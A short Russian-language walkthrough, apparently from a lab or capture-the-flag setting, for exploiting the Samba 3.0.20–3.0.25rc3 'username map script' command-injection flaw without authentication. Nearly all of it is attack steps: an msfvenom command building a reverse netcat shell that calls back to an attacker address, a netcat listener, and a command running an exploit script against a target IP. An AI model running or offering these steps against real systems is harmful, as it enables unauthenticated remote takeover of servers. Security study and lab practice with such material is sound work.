Выполнение команд через Samba "username map script"

Этот модуль эксплуатирует уязвимость выполнения команд в Samba версиях 3.0.20 по 3.0.25rc3 при использовании нестандартной опции конфигурации "username map script". Указывая имя пользователя, содержащее метасимволы оболочки, атакующие могут выполнять произвольные команды. Для эксплуатации этой уязвимости не требуется аутентификация, поскольку эта опция используется для сопоставления имён пользователей до аутентификации!

1. Создайте шелл-код

msfvenom -p cmd/unix/reverse_netcat LHOST=10.10.14.56 LPORT=5555 -f python

2. Слушатель Netcat

nc -nlvp 5555

3. Запустите скрипт

python3 smbusermap.py <Target IP>